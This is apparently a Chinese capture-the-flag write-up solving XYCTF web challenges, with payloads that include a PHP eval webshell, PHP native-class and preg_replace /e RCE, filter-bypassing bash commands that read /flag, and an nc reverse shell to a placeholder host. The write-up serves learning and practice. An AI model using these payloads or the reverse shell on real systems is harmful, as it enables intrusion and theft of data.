ezMake

扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解

image-20250402151235637

传入一个1之后有回显

image-20250402151459724

分析一下内容

这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make 命令本身也依赖 PATH 查找**,当PATH被设置为空之后,

image-20250402152913741

但是测试之后发现Bash内置命令是可以执行的

1
2
3
4
5
ubuntu@VM-16-12-ubuntu:/$ PATH=
ubuntu@VM-16-12-ubuntu:/$ echo "1"
1
ubuntu@VM-16-12-ubuntu:/$ pwd
/

尝试用echo写木马但是遇到waf了

1
echo "<?php eval($_POST['cmd']); ?>" > 1.php

用base64和hex绕过也不行

1
echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > 1.php

试一下用Bash里的.去执行flag文件就行

1
. flag

image-20250402154804684

当然还有其他的命令

1
echo $(shell cat flag)

解释一下payload

$(...) 命令替换,先执行 ... 里的命令,返回其输出(STDOUT)
shell cat flag 尝试执行 shell 命令,并传 cat flag 作为参数
echo ... 打印命令替换后的结果

ez?Make

一样的页面,但是扫目录里是看不到flag了,有个Makefile路径,把Makefile文件下下来看看

1
2
3
4
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
1

这里指定了在执行shell命令时使用/bin/bash而不是默认的/bin/sh,这里和上面的题目不一样,这里不仅限于bash内置命令

但是这里禁用了很多命令,测试后发现cd是可以用的

image-20250402184608575

image-20250402184557046

因为已知flag在根目录,所以尝试直接读取flag,但是这里很多读取文件的命令都被禁用了,不过more可以用,然后就是绕过flag的关键字过滤了,也过滤了*?看看用[]去匹配,一开始是用[a-z]的,但是发现被过滤了,不过好在用[0-z]能匹配出来

1
cd .. && cd .. && cd ..&&more [0-z][0-z][0-z][0-z]

image-20250402185222669

或者也可以cd到bin目录下执行bash命令

1
2
cd .. && cd .. && cd ..&& cd bin && echo "bHM=" | b[0-z]se64 -d | b[0-z]sh
执行ls命令

image-20250402185609304

然后我们cat /flag就可以了

1
cd .. && cd .. && cd ..&& cd bin && echo "Y2F0IC9mbGFn" | b[0-z]se64 -d | b[0-z]sh

ezhttp

一个登录页面,有账号有密码登录框

扫i目录扫出很多东西

1
2
3
4
5
6
7
[19:01:03] Scanning:
[19:01:34] 200 - 0B - /flag.php
[19:01:36] 200 - 1KB - /index.php
[19:01:37] 200 - 1KB - /index.php/login/
[19:01:48] 200 - 35B - /robots.txt
[19:01:49] 403 - 279B - /server-status/
[19:01:49] 403 - 279B - /server-status

访问/robots.txt有一个/l0g1n.txt

1
2
username: XYCTF
password: @JOILha!wuigqi123$

拿到账密了,登录有显示

1
2
登录成功!
不是 yuanshen.com 来的我不要

伪造请求头,抓包处理吧,这里直接放修改的地方了

1
2
3
4
5
Referer: yuanshen.com // 从yuanshen.com来的
User-Agent: XYCTF //用XYCTF浏览器
Client-IP: 127.0.0.1 // 本地用户伪造,不用xff(X-Forward-For)
Via: ymzx.qq.com //从ymzx.qq.com代理
Cookie: XYCTF //想吃点XYCTF的小饼干

image-20250402191734884

ezClass

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
( (new $a($aa) )->$c() )( (new $b($bb) )->$c() );

((new $a($aa))->$c())((new $b($bb))->$c());:动态创建两个对象,并调用它们的方法,然后将第二个对象方法的返回值作为参数传递给第一个对象方法。第一个的返回值需要是一个函数,而第二个的返回值是作为参数传递给第一个返回的函数。

这里第一个想到的是利用原生类中的方法去写马

#Error内置类实现RCE

可以用Error内置类去打,其中Error::getMessage方法可以返回Error类实例化时接受的字符串

1
2
3
4
5
6
7
8
9
10
<?php
$a = new Error("wanth3f1ag");
echo $a->getMessage();

echo "\n";

$b = ((new Error("123456"))->getMessage());
echo $b;
//wanth3f1ag
//123456

所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回

image-20250402194903136

1
2
3
4
5
GET:?a=Error&aa=system&c=getMessage&b=Error&bb=ls /
等价于
((new Error('system'))->getMessage())((new $Error('ls /'))->getMessage());
等价于
system('ls /')

image-20250402194428990

#SplFileObject内置类+data伪协议

也用SplFileObject内置类去打,我们先看看SplFileObjectp类中有什么内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

由于这里$c是调用的方法,在最后一行中两边是一致的,但是跟Error中一样的,这里也有一个__toString方法

1
SplFileObject::__toString —以字符串形式返回当前行

在本地测试一下

1
2
3
4
5
6
7
8
9
root@VM-16-12-ubuntu:/var/www/html# cat test.php 
<?php phpinfo(); ?>
root@VM-16-12-ubuntu:/var/www/html# vim 1.php
root@VM-16-12-ubuntu:/var/www/html# cat 1.php
<?php
$a = new SplFileObject("test.php");
echo $a->__toString();
root@VM-16-12-ubuntu:/var/www/html# php 1.php
<?php phpinfo(); ?>

但是这里因为是两个部分的调用返回值进行配合,所以不能直接读取flag文件,也是需要写命令执行语句

这里需要配合data伪协议去输出,data伪协议可以动态生成文件而无需真实文件。通过data伪协议去包装数据,使得我们可以输出 data:// 包装的数据

1
2
3
4
<?php
$a = new SplFileObject("data://text/plain,system");
echo $a->__toString();
//system

所以我们最终的payload就是

1
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

ezRCE

#无字母RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
really ez?

这里需要我们传入的cmd符合白名单中的字符,否则就会执行die语句

无字母RCE

需要配合$0环境变量去使用

  • \$0Shell 环境中的一个特殊变量,代表 当前 Shell 或脚本的名称
1
2
root@VM-16-12-ubuntu:/var/www/html# echo $0
bash
  • <<<Here String(输入字符串作为标准输入)
1
2
root@VM-16-12-ubuntu:/var/www/html# $0<<<'id'
uid=0(root) gid=0(root) groups=0(root)

这里可以看到id命令成功被执行

payload

1
2
3
?cmd=$0<<<$%27\154\163\040\057%27
等价于
echo 'ls' | /bin/bash

推荐文章:https://www.freebuf.com/articles/system/361101.html

warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

什么情况,这么基础的md5做不来

用extract($_GET);代码可以实现变量覆盖,直接GET传入变量的值就行

先看第一层,就是简单的md5弱比较,用数组绕过或者强碰撞都行

1
?val1[]=1&val2[]=2

再看第二层,需要变量在md5后的值弱等于初始值,也就是需要找个以0e开头的并且该值md5加密后也是0e开头

1
?val1[]=1&val2[]=2&md5=0e215962017

然后看第三层,需要$XY和$XYCTF的值符合弱相等,然后就是里面的md5比较,先算一下XYCTF_550102591在md5加密后的值

1
2
3
4
<?php
$a = "XYCTF_550102591";
echo md5($a);
//0e937920457786991080577371025051

0e开头的,那还是强碰撞,但是想到这里能进行变量覆盖,那我们可以对$XYCTF的值进行修改,所以随便传入一个强碰撞相等的值就行

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT

image-20250403140259430

访问一下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

有点汗流浃背

这里先需要满足第一层才能进行操作,既要a为数字也要a不包含数字,preg_match() 只能处理字符串,遇到数组时会返回 false,!false就是true,满足条件

1
a[]=2

第二层就是关于preg_replace在/e模式下的rce了,这里三个参数都可控,就简单的多

1
?a=/a/e&c=a&b=system('ls /')

image-20250403162908127

ezmd5

需要上传两个图片,根据题目说的md5,估计是需要上传两个不一样的图片但是md5一样的

直接用md5碰撞生成工具(fastcoll)生成就行,也可以直接去网上找现成的图片

船舶图像

平面图像

这两张图片具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d

image-20250403164408218

牢牢记住,逝者为大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out

这里限制了很多

  • cmd的字符不能超过13个
  • 过滤了很多命令函数和操作符

另外在eval函数中有#man注释,我们需要避开这个坑,避免我们传入的代码被注释掉,然后在后面还有多余的数据

首先先试着能让我们的eval能执行

过注释符#

1
2
3
4
<?php
$a = "\n echo '1';#";
eval("#". $a ."2323");
//1

用换行符可以逃逸注释,但是这里过滤了\

根据URL编码规则,我们用%0a去代替\n,本地测试一下

1
2
3
4
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
eval("#". $a ."2323");

传入a

1
?a=%0a echo '1';%23

注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,

根据**\n\r 在 HTTP 请求中的特殊作用**,如果 \n 不经编码直接传入 ?a=\n123,服务器或浏览器可能会错误地认为 \nHTTP 请求结束符,导致参数被截断。所以我们的\n也是需要编码成URL编码才能起作用的

编码之后PHP后对参数a进行解码

1
?a=\n echo '1';#

image-20250403171617983

绕过这两个的问题解决了,接下来就是如何绕过过滤进行rce了

如果上面两个是必须的,那么此时我们已经消耗掉了三个字符(注意,这里不是七个字符,因为后端PHP会进行解码,所以最后是三个字符),那么只能传入最多10个字符

这么多函数禁用了,这时候可以用反引号内联执行,在反引号中可以放入系统命令,可以用带参数输入的方式

1
`$_GET[1]`

刚好10个字符,然后可以传入1,但是这里对get的参数都有过滤,还不能换成post,限制的死死的,是要我们去绕过

不能写文件(>被过滤),不能操作文件(mv,cp被过滤),也不能看目录(ls,被过滤),还无法用通配符去匹配文件(?,*)被过滤

但是这些命令可以用单双引号去绕过,那么方法就很多了(注意这里是无回显的)

方法1:cp复制flag

1
?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt

虽然不能用?*通配符,但是可以用[]去匹配单个字符,这里执行cp命令后访问1.txt就可以拿到flag了

方法2:反弹shell

无回显的RCE,直接反弹shell

1
nc [host] [port] -e /bi''n/sh

image-20250403175559834

方法3:数字编码绕过

1
2
3
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160' $'\57\146\154\141\147' 1.txt
//cp /flag的8进制
然后访问1.txt就行

根据Bash 的 $'...' ANSI-C Quoting 机制$'...' 会在 Shell 解析阶段(执行命令前)把 \xxx(八进制)转换成 对应的 ASCII 字符。所有 $'\xxx' 拼接后,最终会合并为 可执行的 Shell 命令

εZ?¿м@Kε¿?

hint:Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!

才发现是和前面两个题一样的makefile

1
2
3
[18:09:36] Scanning:
[18:10:33] 200 - 38B - /hint.php
[18:10:35] 200 - 2KB - /index.html

访问/hint.php

1
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

估计是正则匹配的表达式

先输出可用字符

1
2
3
4
5
6
7
8
9
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/",chr($i))){
echo chr($i)." ";
}
}

?>
//! " # % & ' * + , . / 0 1 2 3 4 5 6 7 8 9 : ; = ? A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z ~

一开始以为是有这么多字符可以用,后面才发现这个表达式是需要匹配的,而并非不能匹配的,也就是白名单

1
2
3
4
5
6
7
8
9
10
#输出可用字符
<?php
for ($i=32;$i<127;$i++){
if (preg_match("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/",chr($i))){
echo chr($i)." ";
}
}

?>
//$ ( ) - < > @ [ ] { | }

学习一下关于Makefile中的$@, $^, $< , $?, $%, $+, $*

参考文章:Makefile中的$@, $^, $< , $?, $%, $+, $*

1
2
3
4
5
6
7
8
9
$@  表示目标文件
$^ 表示所有的依赖文件
$< 表示第一个依赖文件
$? 表示比目标还要新的依赖文件列表
$% 仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是“foo.a(bar.o)”,那么,“$%”就是“bar.o”,“$@”就是“foo.a”。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。

$+ 这个变量很像“$^”,也是所有依赖目标的集合。只是它不去除重复的依赖目标。

$* 这个变量表示目标模式中“%”及其之前的部分。如果目标是“dir/a.foo.b”,并且目标的模式是“a.%.b”,那么,“$*”的值就是“dir/a.foo”。这个变量对于构造有关联的文件名是比较有较。如果目标中没有模式的定义,那么“$*”也就不能被推导出,但是,如果目标文件的后缀是make所识别的,那么“$*”就是除了后缀的那一部分。例如:如果目标是“foo.c”,因为“.c”是make所能识别的后缀名,所以,“$*”的值就是“foo”。这个特性是GNU make的,很有可能不兼容于其它版本的make,所以,你应该尽量避免使用“$*”,除非是在隐含规则或是静态模式中。如果目标中的后缀是make所不能识别的,那么“$*”就是空值。

传入$<,有回显/flag,随后我们要读取,要用 < 重定向符读取,用于从文件中读取内容

我们测试一下输入 <$< 回显了</flag

随后我们要读取到一个地方,也没有什么地方能读取,只能读取到变量里那么我们就能构造出

payload

1
$(<$<)

但是还是读取不了,回显

1
make: Nothing to be done for 'FLAG'.

这个时候我们就要用到转义符号 $ ,这是因为在 Makefile 中, $ 符号是特殊字符,需要转义才

能正常使用,所以就得到了最终的payload

1
$$(<$<)

有点神奇。。全程跟着wp做的,但还是得理解一下

从内到外去理解一下

首先需要理解的是重定向符

重定向符<

在 Shell(如 Bash)中,< 是一个 输入重定向(Input Redirection)符号,用于 将文件内容作为命令的输入

语法

1
命令 < 文件

那么<$< 回显了</flag,此时根据这个特点,我们可以把flag文件的内容当成是命令的输入,然后我们需要解决如何输出这个命令或者是读取这个命令

$(<$<)

$( <$< )读取输入并执行命令

在 Bash 中,$( command ) 的语法是 命令替换(Command Substitution),它的作用是:

  1. 执行 command 并捕获其标准输出(stdout)
  2. 将命令的输出结果替换到当前位置

例如我们本地测试一下

1
2
3
4
root@VM-16-12-ubuntu:/var/www/html# cat 1.php
123
root@VM-16-12-ubuntu:/var/www/html# $(<1.php)
123: command not found

最终payload

$$(<$<):其实和上面的一样,只不过

在 Makefile 中:

  • 单个 $ → 被 Make 解析(用于变量或自动化变量,如(CC)‘、‘(CC)‘、‘@`)。
  • $$ → 转义为 单个 $ 并传递给 Shell(避免 Make 解析)。